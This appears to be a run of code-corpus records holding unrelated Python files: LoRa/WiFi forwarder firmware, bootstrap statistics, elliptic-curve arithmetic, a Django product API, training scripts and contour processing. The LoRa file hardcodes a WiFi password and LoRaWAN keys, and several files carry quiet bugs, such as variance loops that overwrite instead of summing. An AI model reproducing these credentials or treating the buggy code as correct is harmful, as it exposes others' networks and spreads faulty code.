100\n","sub_path":"colorio/_color_space.py","file_name":"_color_space.py","file_ext":"py","file_size_in_byte":22569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"220585916","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : run.py\n# @Author: Cedar\n# @Date : 2020/10/30\n# @Desc :\n\n\nimport os\nimport time\n\n\ndef main():\n cmd = f'''python3 4_listpage_url_checker.py'''\n for i in range(123456789):\n print('round: ', i)\n\n try:\n os.system(cmd)\n status = '1'\n error = ''\n except Exception as e:\n status = '0'\n error = str(e)\n\n print('status: ', status)\n print('status: ', error)\n time.sleep(3)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"model/listpage_url_checker/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"369712021","text":"from network import LoRa\nimport socket\nimport ubinascii\nimport struct\nimport time\nimport pycom\nimport machine\nfrom network import WLAN\n\n# FOR : LoPy_1\n\n# FUNTIONS\ndef setup_WiFi():\n wlan = WLAN(mode=WLAN.STA)\n ssid = \"SFR-87\"\n wpaKey = \"j44418OQ\"\n\n nets = wlan.scan()\n for net in nets:\n if net.ssid == ssid:\n print('WiFi network found! ',)\n wlan.connect(net.ssid, auth=(net.sec, wpaKey), timeout=5000)\n while not wlan.isconnected():\n machine.idle() # save power while waiting\n print('WLAN connection succeeded! ', wlan.ifconfig())\n break\ndef blink():\n pycom.rgbled(0x7f0000)\n time.sleep(0.05)\n pycom.rgbled(0x00)\ndef set_LoRa_RAW():\n lora = LoRa(mode=LoRa.LORA, region=LoRa.EU868, frequency=868100000, sf=7)\n s = socket.socket(socket.AF_LORA, socket.SOCK_RAW)\n s.setblocking(False)\ndef set_LoRa_WAN_ABP():\n print(\"Setting up ABP...\")\n lora = LoRa(mode=LoRa.LORAWAN, region=LoRa.EU868)\n lora.join(activation=LoRa.ABP, auth=(dev_addr, nwk_swkey, app_swkey))\n s = socket.socket(socket.AF_LORA, socket.SOCK_RAW)\n s.setsockopt(socket.SOL_LORA, socket.SO_DR, 5)\ndef set_LoRa_WAN_OTAA():\n lora = LoRa(mode=LoRa.LORAWAN, region=LoRa.EU868)\n lora.join(activation=LoRa.OTAA, auth=(app_eui, app_key), timeout=0)\n while not lora.has_joined():\n time.sleep(2)\n print('Not yet joined...')\n s = socket.socket(socket.AF_LORA, socket.SOCK_RAW)\n s.setsockopt(socket.SOL_LORA, socket.SO_DR, 5)\n\n\n# INITIALIZATION\npycom.heartbeat(False)\nsetup_WiFi()\ni=0\n# create ABP authentication params\n\"\"\"\ndev_addr = struct.unpack(\">l\", ubinascii.unhexlify('01e34d9b'))[0]\nnwk_swkey = ubinascii.unhexlify('aa731d1f1e080acd940efee9e4260368')\napp_swkey = ubinascii.unhexlify('69e2c0b276f9e4529cc637e075227ffc')\n\n\"\"\"\ndev_addr = struct.unpack(\">l\", ubinascii.unhexlify('26011CAE'))[0]\nnwk_swkey = ubinascii.unhexlify('F27AC96F79930C27726B7E7EFF5C3A50')\napp_swkey = ubinascii.unhexlify('4A3D58478336A90A32B918E65C541772')\n\napp_eui = ubinascii.unhexlify('70B3D57ED0013933') # 70B3D5499BB14247\napp_key = ubinascii.unhexlify('3BC098C3B2B0CE491F4851CAC4294F52') #LoRaServer Network Key\n\nwhile True:\n #data = bytes([0x01, 0x02, 0x03])\n\n set_LoRa_RAW()\n\n data = s.recv(64)\n while (data == b''):\n data = s.recv(64)\n print(data)\n time.sleep(10)\n\n set_LoRa_WAN_ABP()\n s.setblocking(True)\n blink()\n s.send(data)\n s.setblocking(False)\n print(i, \"sent\", data)\n time.sleep(10)\n i += 1","sub_path":"PyCom/PacketForwarderTTN/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"640789147","text":"\"\"\"Using Bootstrapping method to compute standard error of the mean\"\"\"\ndef get_std_error_without_bootstrap(random_output):\n\tsample_mean = random_output.mean()\n\tvar = 0\n\tfor i in range(len(random_output)):\n\t\tvar = (random_output[i] - sample_mean) ** 2\n\tvar /= (len(random_output) - 1)\n\tpop_stdev = var**0.5/(len(random_output)**0.5)\n\tprint(\"get_std_error_without_bootstrap\")\n\tprint(pop_stdev)\n\n\ndef get_std_error_with_bootstrap(random_output):\n\tlist_of_means = []\n\tfor i in range(100000):\n\t\tlist_of_means.append(np.mean(choices(random_output, k=len(random_output))))\n\tsample_mean = sum(list_of_means)/(len(list_of_means))\n\tvar = 0\n\tfor i in range(len(list_of_means)):\n\t\tvar = (list_of_means[i] - sample_mean)**2\n\tvar /= (len(list_of_means) - 1)\n\tpop_stdev = var**0.5\n\tprint(\"get_std_error_with_bootstrap\")\n\tprint(pop_stdev)\n\nfrom scipy import stats\nfrom random import choices\nimport math\nnp.random.seed(10)\nmu, sigma = 1, 2\ntotal_samples = 20\nrandom_output = np.random.normal(mu, sigma, total_samples)\nprint(random_output)\nprint(len(random_output))\nprint(get_std_error_without_bootstrap(random_output))\nprint(get_std_error_with_bootstrap(random_output))\nprint(\"ground_truth\")\nprint(5/(total_samples**0.5))\n","sub_path":"Bootstrapping_Statistics.py","file_name":"Bootstrapping_Statistics.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"28831600","text":"\"\"\"\nRead file into texts and calls.\nIt's ok if you don't understand how to read files.\n\"\"\"\nimport csv\n\nwith open('texts.csv', 'r') as f:\n reader = csv.reader(f)\n texts = list(reader)\n\nwith open('calls.csv', 'r') as f:\n reader = csv.reader(f)\n calls = list(reader)\n\n\"\"\"\nTASK 4:\nThe telephone company want to identify numbers that might be doing\ntelephone marketing. Create a set of possible telemarketers:\nthese are numbers that make outgoing calls but never send texts,\nreceive texts or receive incoming calls.\n\nPrint a message:\n\"These numbers could be telemarketers: \"\n\nThe list of numbers should be print out one per line in lexicographic order with no duplicates.\n\"\"\"\nprint(\"These numbers could be telemarketers: \")\ntelemarketers = set()\nwhite_list = set()\n\nfor call in calls:\n white_list.add(call[1])\n\nfor text in texts:\n white_list.update([text[0], text[1]])\n\n\ndef is_telemarketer(phone_number):\n if phone_number.startswith(\"140\"):\n return True\n if phone_number not in white_list:\n return True\n return False\n\n\nfor call in calls:\n outgoing_call = call[0]\n\n if is_telemarketer(outgoing_call):\n telemarketers.add(outgoing_call)\n\nfor telemarketer in sorted(telemarketers):\n print(telemarketer)\n","sub_path":"Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"187179041","text":"#!/usr/bin/python3\n# coding: utf-8\nfrom math import floor\n\n\n\n# On teste simplement si le nombre en paramètre est un entier\ndef estEntier(p):\n if (isinstance(p, int) and p>0):\n return True\n else:\n return False\n\n# Teste sir deux nombres sont premiers entre eux\n# On commence par tester que les deux nombres en paramètre sont entiers.\n# Puis on calcule le PGCD des deux nombres. \n# S'il est égal à 1, alors les deux nombres sont premiers entre eux.\ndef sontPremiersEntreEux(p, q):\n #assert(estEntier(p))\n #assert(estEntier(q))\n\n while q != 0:\n r = p%q\n p,q = q, r\n\n if p == 1:\n return True\n else:\n return False\n# Fonction de calcul de l'inverse d'un entier dans Z/nZ\ndef inverse(p, n):\n\n # L'entier p et n doivent être premiers entre eux\n if (sontPremiersEntreEux(p,n) != True):\n print(\"Les nombres choisis ne sont pas premiers entre eux, il n'y a pas d'inverse dans Z/%dZ\" % n)\n return False\n else:\n k = int(n/p)+1\n mo = 1\n while mo != 0:\n k += 1\n mo = (1+n*k) % p\n inverse = ((1+n*k)/p)%n\n return inverse\n\n\n\n# Calcule la courbe elliptique y^2 = x^3 + ax + b et retourne y^2\ndef ec(a, b, x):\n return x**3 + a*x + b\n\n# Liste les valeurs de y^2\ndef ec2_list(modulo):\n out = list()\n for i in range(modulo):\n out.append(pow(i,2, modulo))\n return out\n\n# Check si le point passé en paramètres appartient à la courbe elliptique\n# Avec pointP = (x1, y1)\ndef ec_isOnCurve(pointP, courbe):\n a, b, p = courbe[0], courbe[1], courbe[2]\n # Point a l'infini\n if pointP[0] == None and pointP[1] == None:\n return True\n\n\n leftPart = pow(pointP[1],2) %p\n rightPart = ec(a, b, pointP[0]) % p\n\n if leftPart == rightPart:\n return True\n else:\n return False\n\n# Retourne le point opposé au point donné en paramètres\n# Avec pointP = (x1, y1)\ndef ec_oppPoint(pointP):\n\tx1, y1 = pointP[0], pointP[1]\n\ty1 = -y1\n\n\treturn (x1, y1)\n\n# Retourne la liste des points de la courbe donné en paramètres\n# Avec courbeInfos = (a, b, p)\ndef ec_listPoints(courbeInfos):\n a = courbeInfos[0]\n b = courbeInfos[1]\n p = courbeInfos[2]\n\n y2_list = ec2_list(p)\n \n courbeOut = []\n # Calcul de toutes les valeurs possibles de x\n for x in range(p):\n # Calcul de y^2 correspondant\n y2 = ec(a,b,x) % p\n # Si le y2 trouvé apparait dans y2_list au moins uen fois\n if y2 in y2_list:\n # On va récupérer toutes les occurences de y2 dans y2_list\n for y in range(len(y2_list)):\n if y2_list[y] == y2:\n # Et on ajoute ca aux coordonnées de la courbe\n courbeOut.append((x, y))\n #Rajout du point à l'infini, noté 'O'\n courbeOut.append((None, None))\n return courbeOut\n\n\n\n# Calcule la somme de deux points sur la courbe\n# Avec :\n# pointP = (x1, y1)\n# pointQ = (x2, y2)\ndef sum_pq(pointP, pointQ, courbe):\n a, b, p = courbe[0], courbe[1], courbe[2]\n # Avant tout on verifie que les deux points soient sur la courbe\n #assert(ec_isOnCurve(pointP, courbe))\n #assert(ec_isOnCurve(pointQ, courbe))\n\n x1, y1 = pointP\n x2, y2 = pointQ\n #print(\"P\",pointP)\n #print(\"Q\",pointQ)\n \n if pointP == (None, None) and pointQ == (None, None):\n return (None, None)\n \n elif pointP == (None, None) and pointQ != (None,None):\n return pointQ\n \n elif pointQ == (None,None) and pointP != (None,None):\n return pointP\n\n\n # doublement d'un point\n elif pointP == pointQ:\n assert(pointP is not (None,None))\n assert(pointQ is not (None,None))\n # on rapelle que dans Z/nZ, diviser revient à multiplier par l'inverse\n k = (3* x1**2 + a) * inverse((2 * y1)%p, p)\n k = k%p\n x3 = k**2 - 2*x1\n \n\n if y1 != 0:\n return ((int(k**2 - 2*x1) %p) , int((k*(x1 - x3) - y1) % p))\n else:\n return (None, None) # point a l'infini\n\n # addition de deux points\n elif pointP != pointQ:\n assert(pointP != (None,None))\n assert(pointQ != (None,None))\n\n \n # on rapelle que dans Z/nZ, diviser revient à multiplier par l'inverse\n k = (y2 - y1) * inverse((x2 - x1)%p, p)\n k = k%p\n x3 = k**2 - x1 - x2\n\n if x1 != x2 :\n # Retourne un point sous la forme (x, y)\n return (int((k**2 - x1 - x2) % p) , int((k*(x1 - x3) - y1) % p ))\n else:\n return (None, None) # point à l'infini\n \n# Algo d'exponentiation rapide du cours\ndef quick_exp(n, G, courbe):\n a, b, p = courbe[0], courbe[1], courbe[2]\n assert(isinstance(G, tuple))\n assert(len(G) == 2)\n # step 1\n P = (None, None)\n if n == 0:\n return P\n if n < 0:\n N = -n \n Q = ec_oppPoint(G)\n else:\n N = n\n Q = G\n # step 2 \n while True:\n if N % 2 != 0:\n P = sum_pq(P, Q, courbe)\n\n # step 3\n N = floor(N/2) # partie entiere de N/2\n if N == 0:\n return P\n else:\n Q = sum_pq(Q, Q, courbe)\n\n\n\ndef trouve_ordre(courbe, P):\n m = 1\n r = P\n\n while r is not (None, None):\n m+=1\n print(r)\n r = quick_exp(m, P, courbe)\n\nif __name__ == '__main__' :\n # y^2 = x^3 + ax + b\n a, b = 1, 3\n # P point de la courbe\n #P = (0, 0)\n # F_p\n p = 7\n courbe = (a, b, p)\n tousLesPointsDeCourbe = ec_listPoints(courbe)\n print('Courbe: y^2 = x^3 + %dx + %d dans F_%d' %(a, b, p))\n print(tousLesPointsDeCourbe)\n print('---')\n \n p1 = (4,1)\n p2 = (6,6)\n print(ec_isOnCurve(p1, courbe))\n print(ec_isOnCurve(p2, courbe))\n print(quick_exp(2, p1, courbe)) \n\n print(\"p1 + p2 = \", sum_pq(p1,p2, courbe))\n print(\"2p1 = \", sum_pq(p1, p1, courbe))\n \n","sub_path":"ec.py","file_name":"ec.py","file_ext":"py","file_size_in_byte":5865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"448902452","text":"import json\nfrom products.models import Category, Product\nfrom api.serializers import serialize_product_as_json\n\nfrom django.views.generic import View\nfrom django.http import HttpResponse, JsonResponse\n\nclass ProductView(View):\n def _get_object(self,product_id):\n try:\n return Product.objects.get(id=product_id)\n except Product.DoesNotExist:\n return None\n def get(self, *args, **kwargs):\n product_id = kwargs.get('product_id')\n if product_id:\n # detail\n product = self._get_object(product_id)\n if not product:\n return JsonResponse(\n {\"success\": False, \"msg\": \"Could not find product with id: {}\".format(product_id)},\n status=404)\n data = serialize_product_as_json(product)\n else:\n # list\n qs = Product.objects.all()\n data = [serialize_product_as_json(product) for product in qs]\n return JsonResponse(data, status=200, safe=False)\n \n def post(self, *args, **kwargs):\n try: \n payload = json.loads(self.request.body)\n except ValueError:\n return JsonResponse({\"success\": False, \"msg\":\"Provide a valid JSON payload\"}, status=400)\n category_id = payload.get('category', None)\n try:\n category=Category.objects.get(id=category_id)\n except Category.DoesNotExist:\n return JsonResponse({\"success\": False, \"msg\":\"that category ain't right\"}, status=400)\n try: \n product=Product.objects.create(name=payload['name'],category=category,sku=payload['sku'],description=payload['description'], price=payload['price'],)\n except (ValueError, KeyError):\n return JsonResponse({\"success\": False, \"msg\": \"Provided payload ain't right\"},status=400)\n data = serialize_product_as_json(product)\n return JsonResponse(data, status=201, safe=False)\n \n def delete(self, *args, **kwargs):\n product_id = kwargs.get('product_id')\n if not product_id:\n return JsonResponse(\n {'msg': 'Invalid HTTP method', 'success': False},\n status=400)\n product = self._get_object(product_id)\n if not product:\n return JsonResponse(\n {\"success\": False, \"msg\": \"Could not find product with id: {}\".format(product_id)},\n status=404)\n product.delete()\n data = {\"success\": True}\n return JsonResponse(data, status=204, safe=False)\n\n def _update(self, product, payload, partial=False):\n for field in ['name', 'category', 'sku', 'description', 'price', 'featured']:\n if not field in payload:\n if partial:\n continue\n return JsonResponse(\n {\"success\": False, \"msg\": \"Missing field in full update\"},status=400)\n if field == 'category':\n try:\n payload['category'] = Category.objects.get(id=payload['category'])\n except Category.DoesNotExist:\n return JsonResponse(\n {\"success\": False, \"msg\": \"Could not find product with id: {}\".format(payload['category'])}, status=404)\n try:\n setattr(product, field, payload[field])\n product.save()\n except ValueError:\n return JsonResponse(\n {\"success\": False, \"msg\": \"Provided payload is not valid\"},\n status=400)\n data = serialize_product_as_json(product)\n return JsonResponse(data, status=200, safe=False)\n\n def patch(self, *args, **kwargs):\n product_id = kwargs.get('product_id')\n if not product_id:\n return JsonResponse({\"success\": False, \"msg\": \"invalid HTTP method\"}, status=400)\n product = self._get_object(product_id)\n if not product:\n return JsonResponse({\"success\": False, \"msg\": \"Product with id {} doesn't exist, bucko\".format(product_id)}, status=404)\n try:\n payload = json.loads(self.request.body)\n except ValueError:\n return JsonResponse({\"success\":False, \"msg\": \"Invalid JSON paylod there, chief\"}, status=400)\n return self._update(product, payload, partial=True)\n \n def put(self, *args, **kwargs):\n product_id = kwargs.get('product_id')\n if not product_id:\n return JsonResponse({\"success\": False, \"msg\": \"invalid HTTP method\"}, status=400)\n product = self._get_object(product_id)\n if not product:\n return JsonResponse({\"success\": False, \"msg\": \"Product with id {} doesn't exist, bucko\".format(product_id)}, status=404)\n try:\n payload = json.loads(self.request.body)\n except ValueError:\n return JsonResponse({\"success\":False, \"msg\": \"Invalid JSON paylod there, chief\"}, status=400)\n return self._update(product, payload, partial=True)\n","sub_path":"ecommerce/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"465480612","text":"import json as JSON\r\nfrom .transaction import Subscriber,TransactionListener,Transaction,Message,Receiver\r\nfrom .message import PatrolSender\r\nfrom typing import List\r\n\r\nclass ScriptExecutor(object):\r\n def __init__(self, publisher):\r\n self._pub = publisher\r\n self._tx = Transaction()\r\n self._timeout = 5\r\n self._sender = None\r\n self._called = 0\r\n self._fetched = 0\r\n\r\n def fetch(self):\r\n receiver = Receiver(self._tx)\r\n\r\n if receiver.fetch(self._timeout):\r\n self._fetched = self._fetched + 1\r\n return receiver.get_message()\r\n else:\r\n return None\r\n\r\n\r\n def fetchall(self):\r\n message = []\r\n\r\n receiver = Receiver(self._tx)\r\n while(receiver.fetch(self._timeout)):\r\n message.append(receiver.get_message())\r\n self._fetched = self._fetched + 1\r\n\r\n if self._called == self._fetched:\r\n return message\r\n\r\n return message\r\n\r\n\r\n def begin(self):\r\n self._tx.begin()\r\n\r\n subscriber = Subscriber(\"patrol\")\r\n self._pub.add_subsciber(subscriber)\r\n self._pub.add_listener(\"transaction\", TransactionListener())\r\n\r\n self._sender = PatrolSender(self._tx, subscriber)\r\n self._sender.set_publisher(self._pub.getId())\r\n\r\n self._called = 0\r\n self._fetched = 0\r\n\r\n return self\r\n\r\n def change_destination(self, destination, ip_addr=False):\r\n if ip_addr == True:\r\n destination = str(self.decode(destination))\r\n\r\n self._sender.set_destination(destination)\r\n\r\n return self\r\n\r\n def call(self):\r\n try:\r\n sender = self._sender\r\n self._pub.send(sender.get_destination(), sender.get_headers(), sender.get_body())\r\n\r\n self._called = self._called + 1\r\n\r\n return True\r\n except Exception as e:\r\n return False\r\n\r\n def parameter(self, parameter, is_json=True):\r\n if is_json == True:\r\n self._sender.set_parameter(parameter)\r\n else:\r\n self._sender.set_parameter(JSON.dumps(parameter, separators=(',', ':')))\r\n\r\n def script(self, script_id, script_name, script_type, timeout=5):\r\n self._sender.set_script(script_id=script_id, script_name=script_name, script_type=script_type, timeout=timeout * 1000)\r\n self._timeout = timeout\r\n\r\n def invoke(self, destination, script_id, script_name, script_type, timeout=5, ip_addr=False):\r\n try:\r\n if self._pub.has_connected() == False:\r\n return False\r\n\r\n if ip_addr == True:\r\n destination = str(self.decode(destination))\r\n\r\n sender = self._sender\r\n sender.set_destination(destination)\r\n sender.set_script(script_id=script_id, script_name=script_name, script_type=script_type, timeout=timeout*1000)\r\n\r\n self._pub.send(sender.get_destination(), sender.get_headers(), sender.get_body())\r\n\r\n self._timeout = timeout\r\n\r\n self._called = self._called + 1\r\n\r\n return True\r\n except Exception as e:\r\n print(e)\r\n return False\r\n\r\n def end(self):\r\n self._tx.commit()\r\n self._called = 0\r\n self._fetched = 0\r\n\r\n def decode(self, ip):\r\n data = ip.split('.')\r\n\r\n return (int(data[0]) << 24) + (int(data[1]) << 16) + (int(data[2]) << 8) + int(data[3])\r\n","sub_path":"com/publisher/transport.py","file_name":"transport.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"72949748","text":"# From https://github.com/brentyi/multimodalfilter/blob/master/scripts/push_task/train_push.py\n\nfrom training_structures.Supervised_Learning import train, test\nfrom fusions.mult import MULTModel\nfrom unimodals.gentle_push.head import Head\nfrom unimodals.common_models import Sequential, Transpose, Reshape, Identity\nfrom datasets.gentle_push.data_loader import PushTask\nimport unimodals.gentle_push.layers as layers\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch\nimport fannypack\nimport datetime\nimport argparse\nimport sys\nimport os\nsys.path.insert(0, os.getcwd())\n\n\nTask = PushTask\n\n# Parse args\nparser = argparse.ArgumentParser()\nTask.add_dataset_arguments(parser)\nargs = parser.parse_args()\ndataset_args = Task.get_dataset_args(args)\n\nfannypack.data.set_cache_path('datasets/gentle_push/cache')\n\ntrain_loader, val_loader, test_loader = Task.get_dataloader(\n 16, batch_size=32, drop_last=True)\n\n\nclass HyperParams(MULTModel.DefaultHyperParams):\n num_heads = 4\n embed_dim = 64\n output_dim = 2\n all_steps = True\n\n\nencoders = [\n Sequential(Transpose(0, 1), layers.observation_pos_layers(\n 64), Transpose(0, 1)),\n Sequential(Transpose(0, 1), layers.observation_sensors_layers(\n 64), Transpose(0, 1)),\n Sequential(Transpose(0, 1), Reshape(\n [-1, 1, 32, 32]), layers.observation_image_layers(64), Reshape([16, -1, 64]), Transpose(0, 1)),\n Sequential(Transpose(0, 1), layers.control_layers(64), Transpose(0, 1)),\n]\nfusion = MULTModel(4, [64, 64, 64, 64], HyperParams)\nhead = Identity()\noptimtype = optim.Adam\nloss_state = nn.MSELoss()\n\ntrain(encoders, fusion, head,\n train_loader, val_loader,\n 20,\n task='regression',\n optimtype=optimtype,\n objective=loss_state,\n lr=0.00001)\n\nmodel = torch.load('best.pt').cuda()\ntest(model, test_loader, dataset='gentle push',\n task='regression', criterion=loss_state)\n","sub_path":"examples/gentle_push/mult.py","file_name":"mult.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"202183861","text":"import argparse\nimport torch\nimport torch.nn as nn\nimport csv\nimport numpy as np\nimport time\nimport os\nfrom data_loader import load_dataset \nfrom model import LSTM\nfrom torch.autograd import Variable\n\ndef to_var(x, volatile = False):\n if torch.cuda.is_available():\n x = x.cuda()\n return Variable(x, volatile = volatile)\n\ndef get_input(i, data, targets, bs):\n if i + bs < len(data):\n bi = data[i: i + bs]\n bt = targets[i: i + bs]\t\n else:\n bi = data[i:]\n bt = targets[i:]\n return torch.from_numpy(bi), torch.from_numpy(bt)\n\ndef main(args):\n # Create model directory\n if not os.path.exists(args.model_path):\n os.makedirs(args.model_path)\n \n # Build the data loader\n dataset, targets = load_dataset()\n print('\\nThe data are loaded')\n \n # Build the models\n lstm = LSTM(args.input_size, args.output_size)\n print('The model is build')\n print(lstm)\n \n if torch.cuda.is_available():\n lstm.cuda()\n\n # Loss and Optimizer\n criterion = nn.MSELoss()\n optimizer = torch.optim.Adam(lstm.parameters(), lr = args.learning_rate) \n \n # Train the Models\n toatal_time = 0\n sm = 50 # start saving models after 100 epochs\n\n for epoch in range(args.num_epochs):\n print ('\\nepoch ' + str(epoch) + ':')\n avg_loss = 0\n start = time.time()\n\n for i in range (0, len(dataset), args.batch_size):\n lstm.zero_grad()\n bi, bt = get_input(i, dataset, targets, args.batch_size)\n bi = bi.view(-1, 1, 32)\n bi = to_var(bi)\n bt = to_var(bt)\n bo = lstm(bi)\n loss = criterion(bo, bt)\n avg_loss = avg_loss + loss.item()\n loss.backward()\n optimizer.step()\n\n epoch_avg_loss = avg_loss / (len(dataset) / args.batch_size)\n print ('--average loss:', epoch_avg_loss)\n\n end = time.time()\n epoch_time = end - start\n toatal_time = toatal_time + epoch_time\n print('time of per epoch:', epoch_time)\n \n # save the data into csv\n data = [epoch_avg_loss]\n with open(args.model_path + 'lstm_loss.csv', 'a+') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(data)\n\n if epoch == sm:\n model_path = 'lstm_' + str(sm) + '.pkl'\n torch.save(lstm.state_dict(), os.path.join(args.model_path, model_path))\n sm = sm + args.save_step \n\n model_path = 'lstm_final.pkl'\n torch.save(lstm.state_dict(), os.path.join(args.model_path, model_path))\n\nif __name__ == '__main__':\n # Parameters\n parser = argparse.ArgumentParser()\n parser.add_argument('--model_path', type=str, default='./src/nn/ws2D/nn_model/lstm/', help='path for saving trained models')\n parser.add_argument('--save_step', type=int, default=50, help='step size for saving trained models')\n parser.add_argument('--input_size', type=int, default=32, help='dimension of the input vector')\n parser.add_argument('--output_size', type=int, default=2, help='dimension of the input vector')\n parser.add_argument('--batch_size', type=int, default=4096)\n parser.add_argument('--num_epochs', type=int, default=1000)\n parser.add_argument('--learning_rate', type=float, default=1e-4)\n args = parser.parse_args()\n print(args)\n main(args)","sub_path":"src/nn/ws2D/train_lstm.py","file_name":"train_lstm.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"12829621","text":"# reverseWords1 is a one liner\n# reverseWords just does one iteration through A and uses less mem than ^\n\nclass Solution:\n # @param A : string\n # @return string\n \n def reverseWords(self, A):\n \n acc= \"\"\n i= 0\n while i < len(A) and A[i] == ' ':\n i+= 1\n \n while i < len(A):\n \n word= \"\"\n while i < len(A) and A[i] != ' ':\n word+= A[i]\n i+= 1\n \n acc= word + ' ' + acc\n \n while i < len(A) and A[i] == ' ':\n i+= 1\n \n return acc[ : -1] # ignore the last space\n \n def reverseWords1(self, A):\n \n return ' '.join(reversed(A.split())) # no need to A.strip()\n # i.e. to remove leading and trailing white space\n # because A.split() does this already\n \n # words= A.split() # performs a split at each location in A where there one or more white space\n # return ' '.join(reversed(words))\n \n # words= A.split\n # words.reverse()\n # return ' '.join(reversed(words))\n","sub_path":"interviewbit.com/Strings/reverse_the_string.py","file_name":"reverse_the_string.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"650658731","text":"# \"\"\"\n# This is BinaryMatrix's API interface.\n# You should not implement it, or speculate about its implementation\n# \"\"\"\n#class BinaryMatrix(object):\n# def get(self, row: int, col: int) -> int:\n# def dimensions(self) -> list[]:\n\nclass Solution:\n def leftMostColumnWithOne(self, binaryMatrix: 'BinaryMatrix') -> int:\n d = binaryMatrix.dimensions()\n r, c = d[0], d[1]\n ans = -1\n for i in range(r):\n for j in reversed(range(c)):\n if binaryMatrix.get(i, j) == 1:\n ans = j\n c = j\n else:\n break\n \n return ans\n \n # TC: O(r+c)\n \n # SC: O(1)\n \n \n","sub_path":"1428_LeftmostColumnWithAtLeastAOne/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"419182699","text":"class Computer:\n def __init__(self,cpu,ram):\n self.cpu=cpu\n self.ram=ram\n\n def config(self):\n print(\"CONFIG is cpu={}, ram={}\".format(self.cpu,self.ram) )\n\nc1= Computer(\"i5\",\"8GB\")\nc2= Computer(\"i7\",\"16GB\")\n\n\nc1.config()\nc2.config()\n","sub_path":"may20/InitMethod.py","file_name":"InitMethod.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"564716857","text":"import cv2\nfrom scipy import interpolate\nimport numpy as np\nfrom src import linear_processing as lp\nfrom shapely.geometry import LineString, Point, Polygon\nimport shapely.speedups\n\nshapely.speedups.enable()\n\ncv2ver = cv2.__version__\nif \"3.\" in cv2ver:\n cv2ver = 3\nelse:\n cv2ver = 4\n\n\ndef contour2image(img, contours):\n draw_cnt = cv2.drawContours(img, contours, -1, (0, 255, 0), 2)\n return draw_cnt\n\n\ndef draw_contour(img, mask):\n \"\"\"Draw contour\n\n :param img: Image\n :type img: class\n :param mask: Image that consist of contours data\n :type mask: class\n :return: Drawing contour data, Contours data\n :rtype: list, numpy.ndarray\n \"\"\"\n if cv2ver == 3:\n # https://qiita.com/anyamaru/items/fd3d894966a98098376c\n mask, contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n else:\n contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n draw_cnt = contour2image(img, contours)\n\n return draw_cnt, contours\n\n\ndef contour_selection(contours, img, noise_len, lines):\n \"\"\"Contour selection\n\n :param lines: inside lines\n :type lines: list\n :param contours: Contours data\n :type contours: numpy.ndarray\n :param img: Image\n :type img: class\n :param noise_len: Noise length's threshold\n :type noise_len: int\n :return: Selected Contour, Image\n :rtype: list, class\n \"\"\"\n select_contour = [] # todo for check only\n for cnt in contours[1:]:\n len_cont = cv2.arcLength(cnt, True)\n # approx = cv2.approxPolyDP(cnt, 0.02 * len_cont, True)\n # x, y, w, h = cv2.boundingRect(approx)\n if len_cont > noise_len:\n select_contour.append(cnt)\n # cv2.putText(img, \"\" + str(int(len_cont)), (x, y), cv2.FONT_HERSHEY_COMPLEX, 0.5, (0, 0, 255),\n # 2)\n cv2.drawContours(img, cnt, -1, (255, 0, 0), 2)\n # cv2.imshow(\"img\", img)\n return select_contour, img\n\n\ndef error_line(cnt):\n \"\"\"Check overlap between over-under area\n\n :param cnt: Contour\n :type cnt: list\n :return: Error points\n :rtype: list\n \"\"\"\n error = []\n for ps in cnt:\n if ps:\n if len(ps) > 1:\n error.append((ps[0][0], ps[0][1], ps[-1][0], ps[-1][1]))\n return error\n\n\ndef detect_error_cnt(contours, raw_data_draw, config):\n \"\"\"Get result from comparing image\n\n :param contours: Contours data\n :type contours: numpy.ndarray\n :param raw_data_draw: Raw drawing data\n :type raw_data_draw: dict\n :param config: Config data\n :type config:dict\n :return: list, list\n :rtype: Over error, Under error\n \"\"\"\n t_error = config[\"t_error\"]\n t_space = config[\"t_space\"]\n\n error_over = []\n error_under = []\n lines = {}\n\n for line in raw_data_draw[\"inside\"]:\n # https://www.geeksforgeeks.org/solving-linear-regression-in-python/\n start_line = (line[0], line[1])\n end_line = (line[2], line[3])\n m, c = lp.linear_formula(start_line, end_line)\n\n dx, dy = lp.diff_xy(start_line[0], start_line[1], end_line[0], end_line[1], w=t_space)\n if end_line[0] - start_line[0] != 0:\n x = np.arange(min(end_line[0], start_line[0]), max(end_line[0], start_line[0]), dx)\n y = m * x + c\n 